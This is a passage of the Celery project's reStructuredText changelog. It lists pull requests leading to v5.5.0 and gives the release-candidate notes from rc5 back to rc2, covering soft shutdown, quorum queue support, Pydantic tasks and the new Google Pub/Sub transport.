779 - Fixed pypy unit tests random failures in the CI (#9275)
780 - Fixed more pypy unit tests random failures in the CI (#9278)
781 - Fix Redis container from aborting randomly (#9276)
782 - Run Integration & Smoke CI tests together after unit tests passes (#9280)
783 - Added "loglevel verbose" to Redis containers in smoke tests (#9282)
784 - Fixed Redis error in the smoke tests: "Possible SECURITY ATTACK detected" (#9284)
785 - Refactored the smoke tests github workflow (#9285)
786 - Increased --reruns 3->4 in smoke tests (#9286)
787 - Improve stability of smoke tests (CI and Local) (#9287)
788 - Fixed Smoke tests CI "test-case" lables (specific instead of general) (#9288)
789 - Use assert_log_exists instead of wait_for_log in worker smoke tests (#9290)
790 - Optimized t/smoke/tests/test_worker.py (#9291)
791 - Enable smoke tests dockers check before each test starts (#9292)
792 - Relaxed smoke tests flaky tests mechanism (#9293)
793 - Updated quorum queue detection to handle multiple broker instances (#9294)
794 - Non-lazy table creation for database backend (#9228)
795 - Pin pymongo to latest version 4.9 (#9297)
796 - Bump pymongo from 4.9 to 4.9.1 (#9298)
797 - Bump Kombu to v5.4.2 (#9304)
798 - Use rabbitmq:3 in stamping smoke tests (#9307)
799 - Bump pytest-celery to 1.1.3 (#9308)
800 - Added Python 3.13 Support (#9309)
801 - Add log when global qos is disabled (#9296)
802 - Added official release docs (whatsnew) for v5.5 (#9312)
803 - Enable Codespell autofix (#9313)
804 - Pydantic typehints: Fix optional, allow generics (#9319)
805 - Prepare for (pre) release: v5.5.0b4 (#9322)
806 - Added Blacksmith.sh to the Sponsors section in the README (#9323)
807 - Revert "Added Blacksmith.sh to the Sponsors section in the README" (#9324)
808 - Added Blacksmith.sh to the Sponsors section in the README (#9325)
809 - Added missing " |oc-sponsor-3|” in README (#9326)
810 - Use Blacksmith SVG logo (#9327)
811 - Updated Blacksmith SVG logo (#9328)
812 - Revert "Updated Blacksmith SVG logo" (#9329)
813 - Update pymongo to 4.10.0 (#9330)
814 - Update pymongo to 4.10.1 (#9332)
815 - Update user guide to recommend delay_on_commit (#9333)
816 - Pin pre-commit to latest version 4.0.0 (Python 3.9+) (#9334)
817 - Update ephem to 4.1.6 (#9336)
818 - Updated Blacksmith SVG logo (#9337)
819 - Prepare for (pre) release: v5.5.0rc1 (#9341)
820 - Fix: Treat dbm.error as a corrupted schedule file (#9331)
821 - Pin pre-commit to latest version 4.0.1 (#9343)
822 - Added Python 3.13 to Dockerfiles (#9350)
823 - Skip test_pool_restart_import_modules on PyPy due to test issue (#9352)
824 - Update elastic-transport requirement from <=8.15.0 to <=8.15.1 (#9347)
825 - added dragonfly logo (#9353)
826 - Update README.rst (#9354)
827 - Update README.rst (#9355)
828 - Update mypy to 1.12.0 (#9356)
829 - Bump Kombu to v5.5.0rc1 (#9357)
830 - Fix `celery --loader` option parsing (#9361)
831 - Add support for Google Pub/Sub transport (#9351)
832 - Add native incr support for GCSBackend (#9302)
833 - fix(perform_pending_operations): prevent task duplication on shutdown… (#9348)
834 - Update grpcio to 1.67.0 (#9365)
835 - Update google-cloud-firestore to 2.19.0 (#9364)
836 - Annotate celery/utils/timer2.py (#9362)
837 - Update cryptography to 43.0.3 (#9366)
838 - Update mypy to 1.12.1 (#9368)
839 - Bump mypy from 1.12.1 to 1.13.0 (#9373)
840 - Pass timeout and confirm_timeout to producer.publish() (#9374)
841 - Bump Kombu to v5.5.0rc2 (#9382)
842 - Bump pytest-cov from 5.0.0 to 6.0.0 (#9388)
843 - default strict to False for pydantic tasks (#9393)
844 - Only log that global QoS is disabled if using amqp (#9395)
845 - chore: update sponsorship logo (#9398)
846 - Allow custom hostname for celery_worker in celery.contrib.pytest / celery.contrib.testing.worker (#9405)
847 - Removed docker-docs from CI (optional job, malfunctioning) (#9406)
848 - Added a utility to format changelogs from the auto-generated GitHub release notes (#9408)
849 - Bump codecov/codecov-action from 4 to 5 (#9412)
850 - Update elasticsearch requirement from <=8.15.1 to <=8.16.0 (#9410)
851 - Native Delayed Delivery in RabbitMQ (#9207)
852 - Prepare for (pre) release: v5.5.0rc2 (#9416)
853 - Document usage of broker_native_delayed_delivery_queue_type (#9419)
854 - Adjust section in what's new document regarding quorum queues support (#9420)
855 - Update pytest-rerunfailures to 15.0 (#9422)
856 - Document group unrolling (#9421)
857 - fix small typo acces -> access (#9434)
858 - Update cryptography to 44.0.0 (#9437)
859 - Added pypy to Dockerfile (#9438)
860 - Skipped flaky tests on pypy (all pass after ~10 reruns) (#9439)
861 - Allowing managed credentials for azureblockblob (#9430)
862 - Allow passing Celery objects to the Click entry point (#9426)
863 - support Request termination for gevent (#9440)
864 - Prevent event_mask from being overwritten. (#9432)
865 - Update pytest to 8.3.4 (#9444)
866 - Prepare for (pre) release: v5.5.0rc3 (#9450)
867 - Bugfix: SIGQUIT not initiating cold shutdown when `task_acks_late=False` (#9461)
868 - Fixed pycurl dep with Python 3.8 (#9471)
869 - Update elasticsearch requirement from <=8.16.0 to <=8.17.0 (#9469)
870 - Bump pytest-subtests from 0.13.1 to 0.14.1 (#9459)
871 - documentation: Added a type annotation to the periodic task example (#9473)
872 - Prepare for (pre) release: v5.5.0rc4 (#9474)
873 - Bump mypy from 1.13.0 to 1.14.0 (#9476)
874 - Fix cassandra backend port settings not working (#9465)
875 - Unroll group when a group with a single item is chained using the | operator (#9456)
876 - fix(django): catch the right error when trying to close db connection (#9392)
877 - Replacing a task with a chain which contains a group now returns a result instead of hanging (#9484)
878 - Avoid using a group of one as it is now unrolled into a chain (#9510)
879 - Link to the correct IRC network (#9509)
880 - Bump pytest-github-actions-annotate-failures from 0.2.0 to 0.3.0 (#9504)
881 - Update canvas.rst to fix output result from chain object (#9502)
882 - Unauthorized Changes Cleanup (#9528)
883 - [RE-APPROVED] fix(django): catch the right error when trying to close db connection (#9529)
884 - [RE-APPROVED] Link to the correct IRC network (#9531)
885 - [RE-APPROVED] Update canvas.rst to fix output result from chain object (#9532)
886 - Update test-ci-base.txt (#9539)
887 - Update install-pyenv.sh (#9540)
888 - Update elasticsearch requirement from <=8.17.0 to <=8.17.1 (#9518)
889 - Bump google-cloud-firestore from 2.19.0 to 2.20.0 (#9493)
890 - Bump mypy from 1.14.0 to 1.14.1 (#9483)
891 - Update elastic-transport requirement from <=8.15.1 to <=8.17.0 (#9490)
892 - Update Dockerfile by adding missing Python version 3.13 (#9549)
893 - Fix typo for default of sig (#9495)
894 - fix(crontab): resolve constructor type conflicts (#9551)
895 - worker_max_memory_per_child: kilobyte is 1024 bytes (#9553)
896 - Fix formatting in quorum queue docs (#9555)
897 - Bump cryptography from 44.0.0 to 44.0.1 (#9556)
898 - Fix the send_task method when detecting if the native delayed delivery approach is available (#9552)
899 - Reverted PR #7814 & minor code improvement (#9494)
900 - Improved donation and sponsorship visibility (#9558)
901 - Updated the Getting Help section, replacing deprecated with new resources (#9559)
902 - Fixed django example (#9562)
903 - Bump Kombu to v5.5.0rc3 (#9564)
904 - Bump ephem from 4.1.6 to 4.2 (#9565)
905 - Bump pytest-celery to v1.2.0 (#9568)
906 - Remove dependency on `pycurl` (#9526)
907 - Set TestWorkController.__test__ (#9574)
908 - Fixed bug when revoking by stamped headers a stamp that does not exist (#9575)
909 - Canvas Stamping Doc Fixes (#9578)
910 - Bugfix: Chord with a chord in header doesn't invoke error callback on inner chord header failure (default config) (#9580)
911 - Prepare for (pre) release: v5.5.0rc5 (#9582)
912 - Bump google-cloud-firestore from 2.20.0 to 2.20.1 (#9584)
913 - Fix tests with Click 8.2 (#9590)
914 - Bump cryptography from 44.0.1 to 44.0.2 (#9591)
915 - Update elasticsearch requirement from <=8.17.1 to <=8.17.2 (#9594)
916 - Bump pytest from 8.3.4 to 8.3.5 (#9598)
917 - Refactored and Enhanced DelayedDelivery bootstep (#9599)
918 - Improve docs about acks_on_failure_or_timeout (#9577)
919 - Update SECURITY.md (#9609)
920 - remove flake8plus as not needed anymore (#9610)
921 - remove [bdist_wheel] universal = 0 from setup.cfg as not needed (#9611)
922 - remove importlib-metadata as not needed in python3.8 anymore (#9612)
923 - feat: define exception_safe_to_retry for redisbackend (#9614)
924 - Bump Kombu to v5.5.0 (#9615)
925 - Update elastic-transport requirement from <=8.17.0 to <=8.17.1 (#9616)
926 - [docs] fix first-steps (#9618)
927 - Revert "Improve docs about acks_on_failure_or_timeout" (#9606)
928 - Improve CI stability and performance (#9624)
929 - Improved explanation for Database transactions at user guide for tasks (#9617)
930 - update tests to use python 3.8 codes only (#9627)
931 - #9597: Ensure surpassing Hard Timeout limit when task_acks_on_failure_or_timeout is False rejects the task (#9626)
932 - Lock Kombu to v5.5.x (using urllib3 instead of pycurl) (#9632)
933 - Lock pytest-celery to v1.2.x (using urllib3 instead of pycurl) (#9633)
934 - Add Codecov Test Analytics (#9635)
935 - Bump Kombu to v5.5.2 (#9643)
936 - Prepare for release: v5.5.0 (#9644)
937
938 .. _version-5.5.0rc5:
939
940 5.5.0rc5
941 ========
942
943 :release-date: 2025-02-25
944 :release-by: Tomer Nosrati
945
946 Celery v5.5.0 Release Candidate 5 is now available for testing.
947 Please help us test this version and report any issues.
948
949 Key Highlights
950 ~~~~~~~~~~~~~~
951
952 See :ref:`whatsnew-5.5` or read the main highlights below.
953
954 Using Kombu 5.5.0rc3
955 --------------------
956
957 The minimum required Kombu version has been bumped to 5.5.0.
958 Kombu is currently at 5.5.0rc3.
959
960 Complete Quorum Queues Support
961 ------------------------------
962
963 A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
964
965 After upgrading to this version, please share your feedback on the quorum queues support.
966
967 Relevant Issues:
968 `#9207 <https://github.com/celery/celery/discussions/9207>`_,
969 `#6067 <https://github.com/celery/celery/discussions/6067>`_
970
971 - New :ref:`documentation <using-quorum-queues>`.
972 - New :setting:`broker_native_delayed_delivery_queue_type` configuration option.
973
974 New support for Google Pub/Sub transport
975 ----------------------------------------
976
977 After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
978
979 Relevant Issues:
980 `#9351 <https://github.com/celery/celery/pull/9351>`_
981
982 Python 3.13 Improved Support
983 ----------------------------
984
985 Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
986
987 Soft Shutdown
988 -------------
989
990 The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown.
991 It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running.
992 After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
993
994 The soft shutdown is disabled by default, and can be enabled by setting the new configuration option :setting:`worker_soft_shutdown_timeout`.
995 If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown
996 unless the new configuration option :setting:`worker_enable_soft_shutdown_on_idle` is set to True. This is useful for workers
997 that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
998
999 The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like :ref:`Redis <broker-redis>`
1000 or :ref:`SQS <broker-sqs>`, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not
1001 completed (e.g., ``Restoring 1 unacknowledged message(s)``) by resetting the visibility timeout of the unacknowledged messages just before
1002 the worker exits completely.
1003
1004 After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
1005
1006 Relevant Issues:
1007 `#9213 <https://github.com/celery/celery/pull/9213>`_,
1008 `#9231 <https://github.com/celery/celery/pull/9231>`_,
1009 `#9238 <https://github.com/celery/celery/pull/9238>`_
1010
1011 - New :ref:`documentation <worker-stopping>` for each shutdown type.
1012 - New :setting:`worker_soft_shutdown_timeout` configuration option.
1013 - New :setting:`worker_enable_soft_shutdown_on_idle` configuration option.
1014
1015 REMAP_SIGTERM
1016 -------------
1017
1018 The ``REMAP_SIGTERM`` "hidden feature" has been tested, :ref:`documented <worker-REMAP_SIGTERM>` and is now officially supported.
1019 This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using :sig:`TERM`
1020 instead of :sig:`QUIT`.
1021
1022 Pydantic Support
1023 ----------------
1024
1025 This release introduces support for Pydantic models in Celery tasks.
1026 For more info, see the new pydantic example and PR `#9023 <https://github.com/celery/celery/pull/9023>`_ by @mathiasertl.
1027
1028 After upgrading to this version, please share your feedback on the new Pydantic support.
1029
1030 Redis Broker Stability Improvements
1031 -----------------------------------
1032 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1033 in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
1034
1035 After upgrading to this version, please share your feedback on the Redis broker stability.
1036
1037 Relevant Issues:
1038 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
1039 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
1040 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
1041 `#8384 <https://github.com/celery/celery/discussions/8384>`_
1042
1043 Quorum Queues Initial Support
1044 -----------------------------
1045 This release introduces the initial support for Quorum Queues with Celery.
1046
1047 See new configuration options for more details:
1048
1049 - :setting:`task_default_queue_type`
1050 - :setting:`worker_detect_quorum_queues`
1051
1052 After upgrading to this version, please share your feedback on the Quorum Queues support.
1053
1054 Relevant Issues:
1055 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
1056 `#9121 <https://github.com/celery/celery/discussions/9121>`_
1057
1058 What's Changed
1059 ~~~~~~~~~~~~~~
1060
1061 - Bump mypy from 1.13.0 to 1.14.0 (#9476)
1062 - Fix cassandra backend port settings not working (#9465)
1063 - Unroll group when a group with a single item is chained using the | operator (#9456)
1064 - fix(django): catch the right error when trying to close db connection (#9392)
1065 - Replacing a task with a chain which contains a group now returns a result instead of hanging (#9484)
1066 - Avoid using a group of one as it is now unrolled into a chain (#9510)
1067 - Link to the correct IRC network (#9509)
1068 - Bump pytest-github-actions-annotate-failures from 0.2.0 to 0.3.0 (#9504)
1069 - Update canvas.rst to fix output result from chain object (#9502)
1070 - Unauthorized Changes Cleanup (#9528)
1071 - [RE-APPROVED] fix(django): catch the right error when trying to close db connection (#9529)
1072 - [RE-APPROVED] Link to the correct IRC network (#9531)
1073 - [RE-APPROVED] Update canvas.rst to fix output result from chain object (#9532)
1074 - Update test-ci-base.txt (#9539)
1075 - Update install-pyenv.sh (#9540)
1076 - Update elasticsearch requirement from <=8.17.0 to <=8.17.1 (#9518)
1077 - Bump google-cloud-firestore from 2.19.0 to 2.20.0 (#9493)
1078 - Bump mypy from 1.14.0 to 1.14.1 (#9483)
1079 - Update elastic-transport requirement from <=8.15.1 to <=8.17.0 (#9490)
1080 - Update Dockerfile by adding missing Python version 3.13 (#9549)
1081 - Fix typo for default of sig (#9495)
1082 - fix(crontab): resolve constructor type conflicts (#9551)
1083 - worker_max_memory_per_child: kilobyte is 1024 bytes (#9553)
1084 - Fix formatting in quorum queue docs (#9555)
1085 - Bump cryptography from 44.0.0 to 44.0.1 (#9556)
1086 - Fix the send_task method when detecting if the native delayed delivery approach is available (#9552)
1087 - Reverted PR #7814 & minor code improvement (#9494)
1088 - Improved donation and sponsorship visibility (#9558)
1089 - Updated the Getting Help section, replacing deprecated with new resources (#9559)
1090 - Fixed django example (#9562)
1091 - Bump Kombu to v5.5.0rc3 (#9564)
1092 - Bump ephem from 4.1.6 to 4.2 (#9565)
1093 - Bump pytest-celery to v1.2.0 (#9568)
1094 - Remove dependency on `pycurl` (#9526)
1095 - Set TestWorkController.__test__ (#9574)
1096 - Fixed bug when revoking by stamped headers a stamp that does not exist (#9575)
1097 - Canvas Stamping Doc Fixes (#9578)
1098 - Bugfix: Chord with a chord in header doesn't invoke error callback on inner chord header failure (default config) (#9580)
1099 - Prepare for (pre) release: v5.5.0rc5 (#9582)
1100
1101 .. _version-5.5.0rc4:
1102
1103 5.5.0rc4
1104 ========
1105
1106 :release-date: 2024-12-19
1107 :release-by: Tomer Nosrati
1108
1109 Celery v5.5.0 Release Candidate 4 is now available for testing.
1110 Please help us test this version and report any issues.
1111
1112 Key Highlights
1113 ~~~~~~~~~~~~~~
1114
1115 See :ref:`whatsnew-5.5` or read the main highlights below.
1116
1117 Using Kombu 5.5.0rc2
1118 --------------------
1119
1120 The minimum required Kombu version has been bumped to 5.5.0.
1121 Kombu is current at 5.5.0rc2.
1122
1123 Complete Quorum Queues Support
1124 ------------------------------
1125
1126 A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
1127
1128 After upgrading to this version, please share your feedback on the quorum queues support.
1129
1130 Relevant Issues:
1131 `#9207 <https://github.com/celery/celery/discussions/9207>`_,
1132 `#6067 <https://github.com/celery/celery/discussions/6067>`_
1133
1134 - New :ref:`documentation <using-quorum-queues>`.
1135 - New :setting:`broker_native_delayed_delivery_queue_type` configuration option.
1136
1137 New support for Google Pub/Sub transport
1138 ----------------------------------------
1139
1140 After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
1141
1142 Relevant Issues:
1143 `#9351 <https://github.com/celery/celery/pull/9351>`_
1144
1145 Python 3.13 Improved Support
1146 ----------------------------
1147
1148 Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
1149
1150 Soft Shutdown
1151 -------------
1152
1153 The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown.
1154 It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running.
1155 After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
1156
1157 The soft shutdown is disabled by default, and can be enabled by setting the new configuration option :setting:`worker_soft_shutdown_timeout`.
1158 If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown
1159 unless the new configuration option :setting:`worker_enable_soft_shutdown_on_idle` is set to True. This is useful for workers
1160 that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
1161
1162 The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like :ref:`Redis <broker-redis>`
1163 or :ref:`SQS <broker-sqs>`, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not
1164 completed (e.g., ``Restoring 1 unacknowledged message(s)``) by resetting the visibility timeout of the unacknowledged messages just before
1165 the worker exits completely.
1166
1167 After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
1168
1169 Relevant Issues:
1170 `#9213 <https://github.com/celery/celery/pull/9213>`_,
1171 `#9231 <https://github.com/celery/celery/pull/9231>`_,
1172 `#9238 <https://github.com/celery/celery/pull/9238>`_
1173
1174 - New :ref:`documentation <worker-stopping>` for each shutdown type.
1175 - New :setting:`worker_soft_shutdown_timeout` configuration option.
1176 - New :setting:`worker_enable_soft_shutdown_on_idle` configuration option.
1177
1178 REMAP_SIGTERM
1179 -------------
1180
1181 The ``REMAP_SIGTERM`` "hidden feature" has been tested, :ref:`documented <worker-REMAP_SIGTERM>` and is now officially supported.
1182 This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using :sig:`TERM`
1183 instead of :sig:`QUIT`.
1184
1185 Pydantic Support
1186 ----------------
1187
1188 This release introduces support for Pydantic models in Celery tasks.
1189 For more info, see the new pydantic example and PR `#9023 <https://github.com/celery/celery/pull/9023>`_ by @mathiasertl.
1190
1191 After upgrading to this version, please share your feedback on the new Pydantic support.
1192
1193 Redis Broker Stability Improvements
1194 -----------------------------------
1195 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1196 in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
1197
1198 After upgrading to this version, please share your feedback on the Redis broker stability.
1199
1200 Relevant Issues:
1201 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
1202 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
1203 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
1204 `#8384 <https://github.com/celery/celery/discussions/8384>`_
1205
1206 Quorum Queues Initial Support
1207 -----------------------------
1208 This release introduces the initial support for Quorum Queues with Celery.
1209
1210 See new configuration options for more details:
1211
1212 - :setting:`task_default_queue_type`
1213 - :setting:`worker_detect_quorum_queues`
1214
1215 After upgrading to this version, please share your feedback on the Quorum Queues support.
1216
1217 Relevant Issues:
1218 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
1219 `#9121 <https://github.com/celery/celery/discussions/9121>`_
1220
1221 What's Changed
1222 ~~~~~~~~~~~~~~
1223
1224 - Bugfix: SIGQUIT not initiating cold shutdown when `task_acks_late=False` (#9461)
1225 - Fixed pycurl dep with Python 3.8 (#9471)
1226 - Update elasticsearch requirement from <=8.16.0 to <=8.17.0 (#9469)
1227 - Bump pytest-subtests from 0.13.1 to 0.14.1 (#9459)
1228 - documentation: Added a type annotation to the periodic task example (#9473)
1229 - Prepare for (pre) release: v5.5.0rc4 (#9474)
1230
1231 .. _version-5.5.0rc3:
1232
1233 5.5.0rc3
1234 ========
1235
1236 :release-date: 2024-12-03
1237 :release-by: Tomer Nosrati
1238
1239 Celery v5.5.0 Release Candidate 3 is now available for testing.
1240 Please help us test this version and report any issues.
1241
1242 Key Highlights
1243 ~~~~~~~~~~~~~~
1244
1245 See :ref:`whatsnew-5.5` or read the main highlights below.
1246
1247 Using Kombu 5.5.0rc2
1248 --------------------
1249
1250 The minimum required Kombu version has been bumped to 5.5.0.
1251 Kombu is current at 5.5.0rc2.
1252
1253 Complete Quorum Queues Support
1254 ------------------------------
1255
1256 A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
1257
1258 After upgrading to this version, please share your feedback on the quorum queues support.
1259
1260 Relevant Issues:
1261 `#9207 <https://github.com/celery/celery/discussions/9207>`_,
1262 `#6067 <https://github.com/celery/celery/discussions/6067>`_
1263
1264 - New :ref:`documentation <using-quorum-queues>`.
1265 - New :setting:`broker_native_delayed_delivery_queue_type` configuration option.
1266
1267 New support for Google Pub/Sub transport
1268 ----------------------------------------
1269
1270 After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
1271
1272 Relevant Issues:
1273 `#9351 <https://github.com/celery/celery/pull/9351>`_
1274
1275 Python 3.13 Improved Support
1276 ----------------------------
1277
1278 Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
1279
1280 Soft Shutdown
1281 -------------
1282
1283 The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown.
1284 It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running.
1285 After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
1286
1287 The soft shutdown is disabled by default, and can be enabled by setting the new configuration option :setting:`worker_soft_shutdown_timeout`.
1288 If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown
1289 unless the new configuration option :setting:`worker_enable_soft_shutdown_on_idle` is set to True. This is useful for workers
1290 that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
1291
1292 The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like :ref:`Redis <broker-redis>`
1293 or :ref:`SQS <broker-sqs>`, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not
1294 completed (e.g., ``Restoring 1 unacknowledged message(s)``) by resetting the visibility timeout of the unacknowledged messages just before
1295 the worker exits completely.
1296
1297 After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
1298
1299 Relevant Issues:
1300 `#9213 <https://github.com/celery/celery/pull/9213>`_,
1301 `#9231 <https://github.com/celery/celery/pull/9231>`_,
1302 `#9238 <https://github.com/celery/celery/pull/9238>`_
1303
1304 - New :ref:`documentation <worker-stopping>` for each shutdown type.
1305 - New :setting:`worker_soft_shutdown_timeout` configuration option.
1306 - New :setting:`worker_enable_soft_shutdown_on_idle` configuration option.
1307
1308 REMAP_SIGTERM
1309 -------------
1310
1311 The ``REMAP_SIGTERM`` "hidden feature" has been tested, :ref:`documented <worker-REMAP_SIGTERM>` and is now officially supported.
1312 This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using :sig:`TERM`
1313 instead of :sig:`QUIT`.
1314
1315 Pydantic Support
1316 ----------------
1317
1318 This release introduces support for Pydantic models in Celery tasks.
1319 For more info, see the new pydantic example and PR `#9023 <https://github.com/celery/celery/pull/9023>`_ by @mathiasertl.
1320
1321 After upgrading to this version, please share your feedback on the new Pydantic support.
1322
1323 Redis Broker Stability Improvements
1324 -----------------------------------
1325 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1326 in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
1327
1328 After upgrading to this version, please share your feedback on the Redis broker stability.
1329
1330 Relevant Issues:
1331 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
1332 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
1333 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
1334 `#8384 <https://github.com/celery/celery/discussions/8384>`_
1335
1336 Quorum Queues Initial Support
1337 -----------------------------
1338 This release introduces the initial support for Quorum Queues with Celery.
1339
1340 See new configuration options for more details:
1341
1342 - :setting:`task_default_queue_type`
1343 - :setting:`worker_detect_quorum_queues`
1344
1345 After upgrading to this version, please share your feedback on the Quorum Queues support.
1346
1347 Relevant Issues:
1348 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
1349 `#9121 <https://github.com/celery/celery/discussions/9121>`_
1350
1351 What's Changed
1352 ~~~~~~~~~~~~~~
1353
1354 - Document usage of broker_native_delayed_delivery_queue_type (#9419)
1355 - Adjust section in what's new document regarding quorum queues support (#9420)
1356 - Update pytest-rerunfailures to 15.0 (#9422)
1357 - Document group unrolling (#9421)
1358 - fix small typo acces -> access (#9434)
1359 - Update cryptography to 44.0.0 (#9437)
1360 - Added pypy to Dockerfile (#9438)
1361 - Skipped flaky tests on pypy (all pass after ~10 reruns) (#9439)
1362 - Allowing managed credentials for azureblockblob (#9430)
1363 - Allow passing Celery objects to the Click entry point (#9426)
1364 - support Request termination for gevent (#9440)
1365 - Prevent event_mask from being overwritten. (#9432)
1366 - Update pytest to 8.3.4 (#9444)
1367 - Prepare for (pre) release: v5.5.0rc3 (#9450)
1368
1369 .. _version-5.5.0rc2:
1370
1371 5.5.0rc2
1372 ========
1373
1374 :release-date: 2024-11-18
1375 :release-by: Tomer Nosrati
1376
1377 Celery v5.5.0 Release Candidate 2 is now available for testing.
1378 Please help us test this version and report any issues.
1379
1380 Key Highlights
1381 ~~~~~~~~~~~~~~
1382
1383 See :ref:`whatsnew-5.5` or read the main highlights below.
1384
1385 Using Kombu 5.5.0rc2
1386 --------------------
1387
1388 The minimum required Kombu version has been bumped to 5.5.0.
1389 Kombu is current at 5.5.0rc2.
1390
1391 Complete Quorum Queues Support
1392 ------------------------------
1393
1394 A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
1395
1396 After upgrading to this version, please share your feedback on the quorum queues support.
1397
1398 Relevant Issues:
1399 `#9207 <https://github.com/celery/celery/discussions/9207>`_,
1400 `#6067 <https://github.com/celery/celery/discussions/6067>`_
1401
1402 - New :ref:`documentation <using-quorum-queues>`.
1403 - New :setting:`broker_native_delayed_delivery_queue_type` configuration option.
1404
1405 New support for Google Pub/Sub transport
1406 ----------------------------------------
1407
1408 After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
1409
1410 Relevant Issues:
1411 `#9351 <https://github.com/celery/celery/pull/9351>`_
1412
1413 Python 3.13 Improved Support
1414 ----------------------------
1415
1416 Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
1417
1418 Previous Pre-release Highlights
1419 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1420
1421 Python 3.13 Initial Support
1422 ---------------------------
1423
1424 This release introduces the initial support for Python 3.13 with Celery.
1425
1426 After upgrading to this version, please share your feedback on the Python 3.13 support.
1427
1428 Soft Shutdown
1429 -------------
1430
1431 The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown.
1432 It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running.
1433 After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
1434
1435 The soft shutdown is disabled by default, and can be enabled by setting the new configuration option :setting:`worker_soft_shutdown_timeout`.
1436 If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown
1437 unless the new configuration option :setting:`worker_enable_soft_shutdown_on_idle` is set to True. This is useful for workers
1438 that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
1439
1440 The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like :ref:`Redis <broker-redis>`
1441 or :ref:`SQS <broker-sqs>`, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not
1442 completed (e.g., ``Restoring 1 unacknowledged message(s)``) by resetting the visibility timeout of the unacknowledged messages just before
1443 the worker exits completely.
1444
1445 After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
1446
1447 Relevant Issues:
1448 `#9213 <https://github.com/celery/celery/pull/9213>`_,
1449 `#9231 <https://github.com/celery/celery/pull/9231>`_,
1450 `#9238 <https://github.com/celery/celery/pull/9238>`_
1451
1452 - New :ref:`documentation <worker-stopping>` for each shutdown type.
1453 - New :setting:`worker_soft_shutdown_timeout` configuration option.
1454 - New :setting:`worker_enable_soft_shutdown_on_idle` configuration option.
1455
1456 REMAP_SIGTERM
1457 -------------
1458
1459 The ``REMAP_SIGTERM`` "hidden feature" has been tested, :ref:`documented <worker-REMAP_SIGTERM>` and is now officially supported.
1460 This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using :sig:`TERM`
1461 instead of :sig:`QUIT`.
1462
1463 Pydantic Support
1464 ----------------
1465
1466 This release introduces support for Pydantic models in Celery tasks.
